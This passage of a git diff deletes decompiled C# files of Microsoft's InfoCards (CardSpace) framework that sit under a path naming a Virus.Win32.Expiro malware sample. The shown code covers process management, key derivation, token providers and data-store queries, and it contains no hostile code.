(string.IsNullOrEmpty(components1)) - return; - if (string.IsNullOrEmpty(components2)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - string lowerInvariant = components1.ToLowerInvariant(); - if (!components2.ToLowerInvariant().StartsWith(lowerInvariant, StringComparison.OrdinalIgnoreCase)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - } - - private void ThrowIfSelfIssued(Exception e) - { - if (InfoCardPolicy.IsSelfIssuedUriPresent(this.m_policy.Issuer)) - throw InfoCardTrace.ThrowHelperError(e); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessExitedException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessExitedException.cs deleted file mode 100644 index cf52bbb5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessExitedException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessExitedException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ProcessExitedException : InfoCardBaseException - { - private const int HRESULT = -1073413876; - - public ProcessExitedException() - : base(-1073413876) - { - } - - public ProcessExitedException(string message) - : base(-1073413876, message) - { - } - - public ProcessExitedException(string message, Exception inner) - : base(-1073413876, message, inner) - { - } - - protected ProcessExitedException(SerializationInfo si, StreamingContext sc) - : base(-1073413876, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessManager.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessManager.cs deleted file mode 100644 index 1cd58aec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessManager.cs +++ /dev/null @@ -1,158 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessManager -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class ProcessManager : IDisposable - { - private const int WindowsVistaMajorVersion = 6; - private const string s_OnScreenKeyboardExeName = "osk"; - private const string s_SwitcherExeName = "msswchx"; - private const string s_TcserverExeName = "tcserver"; - private SafeJobHandle m_hJob; - private List m_processList; - private uint m_userSessionId; - private string m_trustedUserSid; - - public ProcessManager(int userSessionId, string trustedUserSid) - { - this.m_hJob = (SafeJobHandle) null; - this.m_userSessionId = (uint) userSessionId; - this.m_processList = new List(); - this.m_trustedUserSid = trustedUserSid; - } - - internal bool IsConsoleOrVista => (long) this.m_userSessionId == (long) NativeMethods.WTSGetActiveConsoleSessionId() || Environment.OSVersion.Version.Major >= 6; - - internal bool IsXPTablet => Environment.OSVersion.Version.Major < 6 && 0 != NativeMethods.GetSystemMetrics(86); - - public void AddProcess( - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - uint userProcessId, - WindowsIdentity userIdentity, - string fullPath, - string commandLine, - bool fUseElevatedToken) - { - IntPtr zero = IntPtr.Zero; - int pid = 0; - bool success1 = false; - bool success2 = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - if (this.IsConsoleOrVista && this.m_hJob == null) - { - this.m_hJob = Utility.CreateJobObjectWithSdHelper(trustedUserSid); - if (this.m_hJob == null) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - } - hTrustedUserToken.DangerousAddRef(ref success1); - IntPtr handle = hTrustedUserToken.DangerousGetHandle(); - IntPtr jobHandle = IntPtr.Zero; - if (this.IsConsoleOrVista) - { - this.m_hJob.DangerousAddRef(ref success2); - jobHandle = this.m_hJob.DangerousGetHandle(); - } - if (NativeMcppMethods.CreateProcessAsTrustedUserWrapper(fullPath, commandLine == null ? "" : commandLine, userProcessId, infocardDesktop, userIdentity.Name, this.m_userSessionId, ref handle, ref zero, ref pid, jobHandle, ref trustedUserSid, fUseElevatedToken) != 0U) - return; - using (SafeNativeHandle safeNativeHandle = new SafeNativeHandle(zero, true)) - { - if (!this.IsConsoleOrVista) - this.m_processList.Add(Process.GetProcessById(pid)); - safeNativeHandle.Dispose(); - } - } - finally - { - if (success1) - hTrustedUserToken.DangerousRelease(); - if (success2) - this.m_hJob.DangerousRelease(); - } - } - - public void Dispose() - { - using (new SystemIdentity(false)) - { - if (this.IsConsoleOrVista) - { - if (this.m_hJob != null) - { - this.m_hJob.Dispose(); - this.m_hJob = (SafeJobHandle) null; - } - } - else - { - bool flag = false; - for (int index = 0; index < this.m_processList.Count; ++index) - { - Process process = this.m_processList[index]; - if (!process.HasExited) - { - try - { - if ((long) this.m_userSessionId == (long) process.SessionId) - { - if (string.Compare(process.ProcessName, "osk", StringComparison.OrdinalIgnoreCase) == 0) - flag = true; - Utility.KillHelper(process); - } - } - catch (InvalidOperationException ex) - { - } - } - } - if (flag) - { - foreach (Process p in Process.GetProcessesByName("msswchx")) - { - if ((long) this.m_userSessionId == (long) p.SessionId) - { - if (!p.HasExited) - { - Utility.KillHelper(p); - break; - } - break; - } - p.Dispose(); - } - } - this.m_processList.Clear(); - } - } - if (!this.IsXPTablet) - return; - this.KillTcserverInstancesForInfoCardDesktop(); - } - - private void KillTcserverInstancesForInfoCardDesktop() - { - foreach (Process p in Process.GetProcessesByName("tcserver")) - { - if (NativeMcppMethods.IsCardSpaceTcserverInstance(p.Id, this.m_trustedUserSid)) - Utility.KillHelper(p); - p.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessMonitor.cs deleted file mode 100644 index 6e1bdb80..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessMonitor.cs +++ /dev/null @@ -1,59 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class ProcessMonitor - { - private static ProcessMonitor s_current = new ProcessMonitor(); - private Dictionary m_cache; - private object m_sync; - - private ProcessMonitor() - { - this.m_sync = new object(); - this.m_cache = new Dictionary(); - } - - public static Process GetProcessById(int id) => ProcessMonitor.s_current.InnerGetProcessById(id); - - private Process InnerGetProcessById(int id) - { - Process process = (Process) null; - lock (this.m_sync) - { - if (!this.m_cache.TryGetValue(id, out process)) - { - process = Process.GetProcessById(id); - if (!process.HasExited) - { - this.InitializeProcessObject(process); - this.m_cache.Add(process.Id, process); - } - } - } - return process; - } - - private void InitializeProcessObject(Process process) - { - process.EnableRaisingEvents = true; - process.Exited += new EventHandler(this.Process_Exited); - } - - private void Process_Exited(object sender, EventArgs e) - { - Process process = (Process) sender; - lock (this.m_sync) - this.m_cache.Remove(process.Id); - process.Exited -= new EventHandler(this.Process_Exited); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProtocolProfile.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProtocolProfile.cs deleted file mode 100644 index 10036e5f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProtocolProfile.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProtocolProfile -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Security; - -namespace Microsoft.InfoCards -{ - internal class ProtocolProfile - { - private XmlNames.IWSTrust m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance; - private XmlNames.IWSPolicy m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyXmlSoap2004.Instance; - private static WSSecurityTokenSerializer s_tokenSerializerDefault = new WSSecurityTokenSerializer(MessageSecurityVersion.Default.SecurityVersion, true); - private static WSSecurityTokenSerializer s_tokenSerializerWSTrust13 = new WSSecurityTokenSerializer(SecurityVersion.WSSecurity11, TrustVersion.WSTrust13, SecureConversationVersion.WSSecureConversation13, false, (SamlSerializer) null, (SecurityStateEncoder) null, (IEnumerable) null); - - public XmlNames.IWSTrust WSTrust - { - get => this.m_iWSTrust; - set => this.m_iWSTrust = value; - } - - public XmlNames.IWSPolicy WSPolicy => this.m_iWSPolicy; - - public MessageSecurityVersion MsgSecurityVersion - { - get - { - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.WSTrust.Version) - return MessageSecurityVersion.WSSecurity11WSTrustFebruary2005WSSecureConversationFebruary2005WSSecurityPolicy11; - return XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.WSTrust.Version ? MessageSecurityVersion.WSSecurity11WSTrust13WSSecureConversation13WSSecurityPolicy12 : MessageSecurityVersion.Default; - } - } - - public WSSecurityTokenSerializer TokenSerializer => XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.WSTrust.Version ? ProtocolProfile.s_tokenSerializerWSTrust13 : ProtocolProfile.s_tokenSerializerDefault; - - public ProtocolProfile() - { - } - - public ProtocolProfile(string policyXml) - { - if (policyXml.Contains(XmlNames.WSTrustXmlSoap2005.Instance.Namespace)) - this.m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance; - else if (policyXml.Contains(XmlNames.WSTrustOasis2007.Instance.Namespace)) - this.m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - if (policyXml.Contains(XmlNames.WSPolicyXmlSoap2004.Instance.Namespace)) - { - this.m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyXmlSoap2004.Instance; - } - else - { - if (!policyXml.Contains(XmlNames.WSPolicyW32007.Instance.Namespace)) - return; - this.m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyW32007.Instance; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs deleted file mode 100644 index 220df572..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs +++ /dev/null @@ -1,87 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Psha1DerivedKeyGenerator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class Psha1DerivedKeyGenerator - { - private byte[] key; - - public Psha1DerivedKeyGenerator(byte[] key) => this.key = key != null ? key : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (key)); - - public byte[] GenerateDerivedKey(byte[] label, byte[] nonce, int derivedKeySize, int position) - { - if (label == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (label)); - if (nonce == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (nonce)); - return new Psha1DerivedKeyGenerator.ManagedPsha1(this.key, label, nonce).GetDerivedKey(derivedKeySize, position); - } - - private sealed class ManagedPsha1 - { - private byte[] aValue; - private byte[] buffer; - private byte[] chunk; - private KeyedHashAlgorithm hmac; - private int index; - private int position; - private byte[] secret; - private byte[] seed; - - public ManagedPsha1(byte[] secret, byte[] label, byte[] seed) - { - this.secret = secret; - this.seed = new byte[checked (label.Length + seed.Length)]; - label.CopyTo((Array) this.seed, 0); - seed.CopyTo((Array) this.seed, label.Length); - this.aValue = this.seed; - this.chunk = new byte[0]; - this.index = 0; - this.position = 0; - this.hmac = (KeyedHashAlgorithm) new HMACSHA1(secret, true); - this.buffer = new byte[checked (unchecked (this.hmac.HashSize / 8) + this.seed.Length)]; - } - - public byte[] GetDerivedKey(int derivedKeySize, int position) - { - if (derivedKeySize < 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (derivedKeySize), SR.GetString("ValueMustBeNonNegative"))); - if (this.position > position) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (position), SR.GetString("ValueMustBeInRange", (object) 0, (object) this.position))); - while (this.position < position) - { - int num = (int) this.GetByte(); - } - int length = derivedKeySize / 8; - byte[] derivedKey = new byte[length]; - for (int index = 0; index < length; ++index) - derivedKey[index] = this.GetByte(); - return derivedKey; - } - - private byte GetByte() - { - if (this.index >= this.chunk.Length) - { - this.hmac.Initialize(); - this.aValue = this.hmac.ComputeHash(this.aValue); - this.aValue.CopyTo((Array) this.buffer, 0); - this.seed.CopyTo((Array) this.buffer, this.aValue.Length); - this.hmac.Initialize(); - this.chunk = this.hmac.ComputeHash(this.buffer); - this.index = 0; - } - ++this.position; - return this.chunk[this.index++]; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryDetails.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryDetails.cs deleted file mode 100644 index a871f961..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryDetails.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryDetails -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; - -namespace Microsoft.InfoCards -{ - [Flags] - internal enum QueryDetails - { - None = 0, - Identifiers = 1, - Header = 2, - DataBlob = 4, - IndexData = 8, - FullHeader = Header | Identifiers, // 0x00000003 - FullRow = FullHeader | DataBlob, // 0x00000007 - FullRowAndIndexes = FullRow | IndexData, // 0x0000000F - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryParameter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryParameter.cs deleted file mode 100644 index 07e2d14a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryParameter.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryParameter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class QueryParameter - { - private string m_indexName; - private List m_objects; - - public QueryParameter(string name) - { - this.m_indexName = !string.IsNullOrEmpty(name) ? name : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (name)); - this.m_objects = new List(); - } - - public QueryParameter(string name, params object[] values) - : this(name) - { - for (int index = 0; index < values.Length; ++index) - this.AddMatch(values[index]); - } - - public string IndexName - { - get => this.m_indexName; - internal set => this.m_indexName = value; - } - - internal IndexObject this[int index] => this.m_objects[index]; - - public int Count => this.m_objects.Count; - - public void Clear() => this.m_objects.Clear(); - - public void AddCompiled(byte[] compiledForm) => this.m_objects.Add(new IndexObject(compiledForm)); - - public void AddMatch(params object[] values) - { - if (values == null || values.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (values)); - this.m_objects.Add(new IndexObject(values)); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryStoreStatusRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryStoreStatusRequest.cs deleted file mode 100644 index 90ebdd9e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryStoreStatusRequest.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryStoreStatusRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class QueryStoreStatusRequest : UIAgentRequest - { - private bool m_storeStatus; - - public QueryStoreStatusRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.OnInitializeAsSystem(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_storeStatus = connection.IsDataSourceCleared(connection.LocalDataSource); - if (!this.m_storeStatus) - return; - connection.ResetDataSourceClearedFlag(connection.LocalDataSource); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs).Write(this.m_storeStatus); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RPIdentityRequirement.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RPIdentityRequirement.cs deleted file mode 100644 index d6031c5a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RPIdentityRequirement.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RPIdentityRequirement -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RPIdentityRequirement - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - private bool m_RPIdentityRequirement; - - private RPIdentityRequirement() - { - } - - public RPIdentityRequirement(Uri infoCardId, bool RPIdentityRequirement) - : this() - { - this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - this.m_RPIdentityRequirement = RPIdentityRequirement; - } - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream) => new BinaryWriter(stream, Encoding.Unicode).Write(this.m_RPIdentityRequirement); - - public void Deserialize(Stream stream) => this.m_RPIdentityRequirement = new InfoCardBinaryReader(stream, Encoding.Unicode).ReadBoolean(); - - public void Save(StoreConnection con) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 5; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public bool StrongIdentityRequired - { - get => this.m_RPIdentityRequirement; - set => this.m_RPIdentityRequirement = value; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 5 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RSATokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RSATokenProvider.cs deleted file mode 100644 index d463171e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RSATokenProvider.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RSATokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; - -namespace Microsoft.InfoCards -{ - internal class RSATokenProvider : SecurityTokenProvider, IDisposable - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - private SelfIssuedAuthProofToken m_RSAToken; - - public RSATokenProvider(InfoCardPolicy policy, InfoCard card) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - this.m_policy = policy; - this.m_card = card; - } - - public void Dispose() - { - if (this.m_RSAToken == null) - return; - this.m_RSAToken.Dispose(); - this.m_RSAToken = (SelfIssuedAuthProofToken) null; - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) - { - if (this.m_RSAToken == null) - this.m_RSAToken = new SelfIssuedAuthProofToken(this.m_card.GetPrivateCryptography(this.m_policy.Recipient.GetIdentifier()), DateTime.UtcNow + timeout); - return (SecurityToken) this.m_RSAToken; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Recipient.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Recipient.cs deleted file mode 100644 index f60dd933..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Recipient.cs +++ /dev/null @@ -1,446 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Recipient -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class Recipient - { - private const int InvalidRow = 0; - private const byte Version = 1; - private const byte m_marker = 29; - public const int CERT_NAME_ATTR_TYPE = 3; - public const string szOID_SUBJECT_CN = "2.5.4.3"; - public const string szOID_ORGANIZATION_NAME = "2.5.4.10"; - public const string szOID_LOCALITY_NAME = "2.5.4.7"; - public const string szOID_STATE_OR_PROVINCE_NAME = "2.5.4.8"; - public const string szOID_COUNTRY_NAME = "2.5.4.6"; - private const int attributeMaxLength = 1024; - private static readonly Recipient.RecipientAttribute CNAttr = new Recipient.RecipientAttribute("2.5.4.3", "CN"); - private static readonly Recipient.RecipientAttribute OrgAttr = new Recipient.RecipientAttribute("2.5.4.10", "O"); - private static readonly Recipient.RecipientAttribute LocalityAttr = new Recipient.RecipientAttribute("2.5.4.7", "L"); - private static readonly Recipient.RecipientAttribute StateOrProvinceAttr = new Recipient.RecipientAttribute("2.5.4.8", "S"); - private static readonly Recipient.RecipientAttribute CountryAttr = new Recipient.RecipientAttribute("2.5.4.6", "C"); - private string m_recipientId; - private string m_recipientOrganizationId; - private string m_issuerName; - private string m_subjectName; - private uint m_privacyNoticeVersion; - private Recipient.IdentityType m_type; - private Recipient.TrustDecision m_trustDecision; - private Recipient.RecipientCertParameters m_recipientParams = new Recipient.RecipientCertParameters("", "", "", "", "", 